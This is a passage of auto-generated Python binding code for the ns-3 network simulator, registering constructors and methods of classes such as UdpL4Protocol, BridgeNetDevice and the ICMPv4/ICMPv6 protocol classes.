## nstime.h (module 'core'): bool ns3::TimeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## nstime.h (module 'core'): ns3::Time ns3::TimeValue::Get() const [member function]
cls.add_method('Get',
'ns3::Time',
[],
is_const=True)
## nstime.h (module 'core'): std::string ns3::TimeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## nstime.h (module 'core'): void ns3::TimeValue::Set(ns3::Time const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Time const &', 'value')])
return
def register_Ns3TypeIdChecker_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker(ns3::TypeIdChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeIdChecker const &', 'arg0')])
return
def register_Ns3TypeIdValue_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeIdValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeIdValue const &', 'arg0')])
## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeId const & value) [constructor]
cls.add_constructor([param('ns3::TypeId const &', 'value')])
## type-id.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TypeIdValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## type-id.h (module 'core'): bool ns3::TypeIdValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## type-id.h (module 'core'): ns3::TypeId ns3::TypeIdValue::Get() const [member function]
cls.add_method('Get',
'ns3::TypeId',
[],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeIdValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## type-id.h (module 'core'): void ns3::TypeIdValue::Set(ns3::TypeId const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::TypeId const &', 'value')])
return
def register_Ns3UdpL4Protocol_methods(root_module, cls):
## udp-l4-protocol.h (module 'internet'): ns3::UdpL4Protocol::PROT_NUMBER [variable]
cls.add_static_attribute('PROT_NUMBER', 'uint8_t const', is_const=True)
## udp-l4-protocol.h (module 'internet'): static ns3::TypeId ns3::UdpL4Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-l4-protocol.h (module 'internet'): ns3::UdpL4Protocol::UdpL4Protocol() [constructor]
cls.add_constructor([])
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## udp-l4-protocol.h (module 'internet'): int ns3::UdpL4Protocol::GetProtocolNumber() const [member function]
cls.add_method('GetProtocolNumber',
'int',
[],
is_const=True, is_virtual=True)
## udp-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::UdpL4Protocol::CreateSocket() [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[])
## udp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::UdpL4Protocol::Allocate() [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[])
## udp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::UdpL4Protocol::Allocate(ns3::Ipv4Address address) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('ns3::Ipv4Address', 'address')])
## udp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::UdpL4Protocol::Allocate(uint16_t port) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('uint16_t', 'port')])
## udp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::UdpL4Protocol::Allocate(ns3::Ipv4Address address, uint16_t port) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('ns3::Ipv4Address', 'address'), param('uint16_t', 'port')])
## udp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::UdpL4Protocol::Allocate(ns3::Ipv4Address localAddress, uint16_t localPort, ns3::Ipv4Address peerAddress, uint16_t peerPort) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('ns3::Ipv4Address', 'localAddress'), param('uint16_t', 'localPort'), param('ns3::Ipv4Address', 'peerAddress'), param('uint16_t', 'peerPort')])
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::DeAllocate(ns3::Ipv4EndPoint * endPoint) [member function]
cls.add_method('DeAllocate',
'void',
[param('ns3::Ipv4EndPoint *', 'endPoint')])
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Address saddr, ns3::Ipv4Address daddr, uint16_t sport, uint16_t dport) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Address', 'saddr'), param('ns3::Ipv4Address', 'daddr'), param('uint16_t', 'sport'), param('uint16_t', 'dport')])
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Address saddr, ns3::Ipv4Address daddr, uint16_t sport, uint16_t dport, ns3::Ptr<ns3::Ipv4Route> route) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Address', 'saddr'), param('ns3::Ipv4Address', 'daddr'), param('uint16_t', 'sport'), param('uint16_t', 'dport'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')])
## udp-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol::RxStatus ns3::UdpL4Protocol::Receive(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::Ipv4Interface> interface) [member function]
cls.add_method('Receive',
'ns3::Ipv4L4Protocol::RxStatus',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::Ipv4Interface >', 'interface')],
is_virtual=True)
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::ReceiveIcmp(ns3::Ipv4Address icmpSource, uint8_t icmpTtl, uint8_t icmpType, uint8_t icmpCode, uint32_t icmpInfo, ns3::Ipv4Address payloadSource, ns3::Ipv4Address payloadDestination, uint8_t const * payload) [member function]
cls.add_method('ReceiveIcmp',
'void',
[param('ns3::Ipv4Address', 'icmpSource'), param('uint8_t', 'icmpTtl'), param('uint8_t', 'icmpType'), param('uint8_t', 'icmpCode'), param('uint32_t', 'icmpInfo'), param('ns3::Ipv4Address', 'payloadSource'), param('ns3::Ipv4Address', 'payloadDestination'), param('uint8_t const *', 'payload')],
is_virtual=True)
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::SetDownTarget(ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetDownTarget',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## udp-l4-protocol.h (module 'internet'): ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> ns3::UdpL4Protocol::GetDownTarget() const [member function]
cls.add_method('GetDownTarget',
'ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >',
[],
is_const=True, is_virtual=True)
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## udp-l4-protocol.h (module 'internet'): void ns3::UdpL4Protocol::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3AddressChecker_methods(root_module, cls):
## address.h (module 'network'): ns3::AddressChecker::AddressChecker() [constructor]
cls.add_constructor([])
## address.h (module 'network'): ns3::AddressChecker::AddressChecker(ns3::AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AddressChecker const &', 'arg0')])
return
def register_Ns3AddressValue_methods(root_module, cls):
## address.h (module 'network'): ns3::AddressValue::AddressValue() [constructor]
cls.add_constructor([])
## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AddressValue const &', 'arg0')])
## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::Address const & value) [constructor]
cls.add_constructor([param('ns3::Address const &', 'value')])
## address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## address.h (module 'network'): bool ns3::AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## address.h (module 'network'): ns3::Address ns3::AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Address',
[],
is_const=True)
## address.h (module 'network'): std::string ns3::AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## address.h (module 'network'): void ns3::AddressValue::Set(ns3::Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Address const &', 'value')])
return
def register_Ns3BridgeChannel_methods(root_module, cls):
## bridge-channel.h (module 'bridge'): static ns3::TypeId ns3::BridgeChannel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## bridge-channel.h (module 'bridge'): ns3::BridgeChannel::BridgeChannel() [constructor]
cls.add_constructor([])
## bridge-channel.h (module 'bridge'): void ns3::BridgeChannel::AddChannel(ns3::Ptr<ns3::Channel> bridgedChannel) [member function]
cls.add_method('AddChannel',
'void',
[param('ns3::Ptr< ns3::Channel >', 'bridgedChannel')])
## bridge-channel.h (module 'bridge'): uint32_t ns3::BridgeChannel::GetNDevices() const [member function]
cls.add_method('GetNDevices',
'uint32_t',
[],
is_const=True, is_virtual=True)
## bridge-channel.h (module 'bridge'): ns3::Ptr<ns3::NetDevice> ns3::BridgeChannel::GetDevice(uint32_t i) const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
return
def register_Ns3BridgeNetDevice_methods(root_module, cls):
## bridge-net-device.h (module 'bridge'): ns3::BridgeNetDevice::BridgeNetDevice() [constructor]
cls.add_constructor([])
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::AddBridgePort(ns3::Ptr<ns3::NetDevice> bridgePort) [member function]
cls.add_method('AddBridgePort',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'bridgePort')])
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('AddLinkChangeCallback',
'void',
[param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): ns3::Address ns3::BridgeNetDevice::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Address',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): ns3::Ptr<ns3::NetDevice> ns3::BridgeNetDevice::GetBridgePort(uint32_t n) const [member function]
cls.add_method('GetBridgePort',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'n')],
is_const=True)
## bridge-net-device.h (module 'bridge'): ns3::Address ns3::BridgeNetDevice::GetBroadcast() const [member function]
cls.add_method('GetBroadcast',
'ns3::Address',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): ns3::Ptr<ns3::Channel> ns3::BridgeNetDevice::GetChannel() const [member function]
cls.add_method('GetChannel',
'ns3::Ptr< ns3::Channel >',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): uint32_t ns3::BridgeNetDevice::GetIfIndex() const [member function]
cls.add_method('GetIfIndex',
'uint32_t',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): uint16_t ns3::BridgeNetDevice::GetMtu() const [member function]
cls.add_method('GetMtu',
'uint16_t',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): ns3::Address ns3::BridgeNetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv4Address', 'multicastGroup')],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): ns3::Address ns3::BridgeNetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function]
cls.add_method('GetMulticast',
'ns3::Address',
[param('ns3::Ipv6Address', 'addr')],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): uint32_t ns3::BridgeNetDevice::GetNBridgePorts() const [member function]
cls.add_method('GetNBridgePorts',
'uint32_t',
[],
is_const=True)
## bridge-net-device.h (module 'bridge'): ns3::Ptr<ns3::Node> ns3::BridgeNetDevice::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): static ns3::TypeId ns3::BridgeNetDevice::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::IsBridge() const [member function]
cls.add_method('IsBridge',
'bool',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::IsLinkUp() const [member function]
cls.add_method('IsLinkUp',
'bool',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::IsPointToPoint() const [member function]
cls.add_method('IsPointToPoint',
'bool',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::NeedsArp() const [member function]
cls.add_method('NeedsArp',
'bool',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('Send',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('SendFrom',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::SetAddress(ns3::Address address) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Address', 'address')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::SetIfIndex(uint32_t const index) [member function]
cls.add_method('SetIfIndex',
'void',
[param('uint32_t const', 'index')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::SetMtu(uint16_t const mtu) [member function]
cls.add_method('SetMtu',
'bool',
[param('uint16_t const', 'mtu')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::SetPromiscReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetPromiscReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::SetReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## bridge-net-device.h (module 'bridge'): bool ns3::BridgeNetDevice::SupportsSendFrom() const [member function]
cls.add_method('SupportsSendFrom',
'bool',
[],
is_const=True, is_virtual=True)
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::ForwardBroadcast(ns3::Ptr<ns3::NetDevice> incomingPort, ns3::Ptr<const ns3::Packet> packet, uint16_t protocol, ns3::Mac48Address src, ns3::Mac48Address dst) [member function]
cls.add_method('ForwardBroadcast',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'incomingPort'), param('ns3::Ptr< ns3::Packet const >', 'packet'), param('uint16_t', 'protocol'), param('ns3::Mac48Address', 'src'), param('ns3::Mac48Address', 'dst')],
visibility='protected')
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::ForwardUnicast(ns3::Ptr<ns3::NetDevice> incomingPort, ns3::Ptr<const ns3::Packet> packet, uint16_t protocol, ns3::Mac48Address src, ns3::Mac48Address dst) [member function]
cls.add_method('ForwardUnicast',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'incomingPort'), param('ns3::Ptr< ns3::Packet const >', 'packet'), param('uint16_t', 'protocol'), param('ns3::Mac48Address', 'src'), param('ns3::Mac48Address', 'dst')],
visibility='protected')
## bridge-net-device.h (module 'bridge'): ns3::Ptr<ns3::NetDevice> ns3::BridgeNetDevice::GetLearnedState(ns3::Mac48Address source) [member function]
cls.add_method('GetLearnedState',
'ns3::Ptr< ns3::NetDevice >',
[param('ns3::Mac48Address', 'source')],
visibility='protected')
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::Learn(ns3::Mac48Address source, ns3::Ptr<ns3::NetDevice> port) [member function]
cls.add_method('Learn',
'void',
[param('ns3::Mac48Address', 'source'), param('ns3::Ptr< ns3::NetDevice >', 'port')],
visibility='protected')
## bridge-net-device.h (module 'bridge'): void ns3::BridgeNetDevice::ReceiveFromDevice(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<const ns3::Packet> packet, uint16_t protocol, ns3::Address const & source, ns3::Address const & destination, ns3::NetDevice::PacketType packetType) [member function]
cls.add_method('ReceiveFromDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Packet const >', 'packet'), param('uint16_t', 'protocol'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'destination'), param('ns3::NetDevice::PacketType', 'packetType')],
visibility='protected')
return
def register_Ns3Icmpv4L4Protocol_methods(root_module, cls):
## icmpv4-l4-protocol.h (module 'internet'): ns3::Icmpv4L4Protocol::Icmpv4L4Protocol(ns3::Icmpv4L4Protocol const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv4L4Protocol const &', 'arg0')])
## icmpv4-l4-protocol.h (module 'internet'): ns3::Icmpv4L4Protocol::Icmpv4L4Protocol() [constructor]
cls.add_constructor([])
## icmpv4-l4-protocol.h (module 'internet'): ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> ns3::Icmpv4L4Protocol::GetDownTarget() const [member function]
cls.add_method('GetDownTarget',
'ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >',
[],
is_const=True, is_virtual=True)
## icmpv4-l4-protocol.h (module 'internet'): int ns3::Icmpv4L4Protocol::GetProtocolNumber() const [member function]
cls.add_method('GetProtocolNumber',
'int',
[],
is_const=True, is_virtual=True)
## icmpv4-l4-protocol.h (module 'internet'): static uint16_t ns3::Icmpv4L4Protocol::GetStaticProtocolNumber() [member function]
cls.add_method('GetStaticProtocolNumber',
'uint16_t',
[],
is_static=True)
## icmpv4-l4-protocol.h (module 'internet'): static ns3::TypeId ns3::Icmpv4L4Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv4-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol::RxStatus ns3::Icmpv4L4Protocol::Receive(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::Ipv4Interface> incomingInterface) [member function]
cls.add_method('Receive',
'ns3::Ipv4L4Protocol::RxStatus',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::Ipv4Interface >', 'incomingInterface')],
is_virtual=True)
## icmpv4-l4-protocol.h (module 'internet'): void ns3::Icmpv4L4Protocol::SendDestUnreachFragNeeded(ns3::Ipv4Header header, ns3::Ptr<const ns3::Packet> orgData, uint16_t nextHopMtu) [member function]
cls.add_method('SendDestUnreachFragNeeded',
'void',
[param('ns3::Ipv4Header', 'header'), param('ns3::Ptr< ns3::Packet const >', 'orgData'), param('uint16_t', 'nextHopMtu')])
## icmpv4-l4-protocol.h (module 'internet'): void ns3::Icmpv4L4Protocol::SendDestUnreachPort(ns3::Ipv4Header header, ns3::Ptr<const ns3::Packet> orgData) [member function]
cls.add_method('SendDestUnreachPort',
'void',
[param('ns3::Ipv4Header', 'header'), param('ns3::Ptr< ns3::Packet const >', 'orgData')])
## icmpv4-l4-protocol.h (module 'internet'): void ns3::Icmpv4L4Protocol::SendTimeExceededTtl(ns3::Ipv4Header header, ns3::Ptr<const ns3::Packet> orgData) [member function]
cls.add_method('SendTimeExceededTtl',
'void',
[param('ns3::Ipv4Header', 'header'), param('ns3::Ptr< ns3::Packet const >', 'orgData')])
## icmpv4-l4-protocol.h (module 'internet'): void ns3::Icmpv4L4Protocol::SetDownTarget(ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetDownTarget',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## icmpv4-l4-protocol.h (module 'internet'): void ns3::Icmpv4L4Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## icmpv4-l4-protocol.h (module 'internet'): ns3::Icmpv4L4Protocol::PROT_NUMBER [variable]
cls.add_static_attribute('PROT_NUMBER', 'uint8_t const', is_const=True)
## icmpv4-l4-protocol.h (module 'internet'): void ns3::Icmpv4L4Protocol::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
## icmpv4-l4-protocol.h (module 'internet'): void ns3::Icmpv4L4Protocol::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3Icmpv6L4Protocol_methods(root_module, cls):
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::Icmpv6L4Protocol(ns3::Icmpv6L4Protocol const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6L4Protocol const &', 'arg0')])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::Icmpv6L4Protocol() [constructor]
cls.add_constructor([])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::NdiscCache> ns3::Icmpv6L4Protocol::CreateCache(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::Ipv6Interface> interface) [member function]
cls.add_method('CreateCache',
'ns3::Ptr< ns3::NdiscCache >',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Ipv6Interface >', 'interface')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::DoDAD(ns3::Ipv6Address target, ns3::Ptr<ns3::Ipv6Interface> interface) [member function]
cls.add_method('DoDAD',
'void',
[param('ns3::Ipv6Address', 'target'), param('ns3::Ptr< ns3::Ipv6Interface >', 'interface')])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6L4Protocol::ForgeEchoRequest(ns3::Ipv6Address src, ns3::Ipv6Address dst, uint16_t id, uint16_t seq, ns3::Ptr<ns3::Packet> data) [member function]
cls.add_method('ForgeEchoRequest',
'ns3::Ptr< ns3::Packet >',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('uint16_t', 'id'), param('uint16_t', 'seq'), param('ns3::Ptr< ns3::Packet >', 'data')])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6L4Protocol::ForgeNA(ns3::Ipv6Address src, ns3::Ipv6Address dst, ns3::Address * hardwareAddress, uint8_t flags) [member function]
cls.add_method('ForgeNA',
'ns3::Ptr< ns3::Packet >',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('ns3::Address *', 'hardwareAddress'), param('uint8_t', 'flags')])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6L4Protocol::ForgeNS(ns3::Ipv6Address src, ns3::Ipv6Address dst, ns3::Ipv6Address target, ns3::Address hardwareAddress) [member function]
cls.add_method('ForgeNS',
'ns3::Ptr< ns3::Packet >',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Address', 'target'), param('ns3::Address', 'hardwareAddress')])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6L4Protocol::ForgeRS(ns3::Ipv6Address src, ns3::Ipv6Address dst, ns3::Address hardwareAddress) [member function]
cls.add_method('ForgeRS',
'ns3::Ptr< ns3::Packet >',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('ns3::Address', 'hardwareAddress')])
## icmpv6-l4-protocol.h (module 'internet'): static void ns3::Icmpv6L4Protocol::FunctionDadTimeout(ns3::Ptr<ns3::Icmpv6L4Protocol> icmpv6, ns3::Ipv6Interface * interface, ns3::Ipv6Address addr) [member function]
cls.add_method('FunctionDadTimeout',
'void',
[param('ns3::Ptr< ns3::Icmpv6L4Protocol >', 'icmpv6'), param('ns3::Ipv6Interface *', 'interface'), param('ns3::Ipv6Address', 'addr')],
is_static=True)
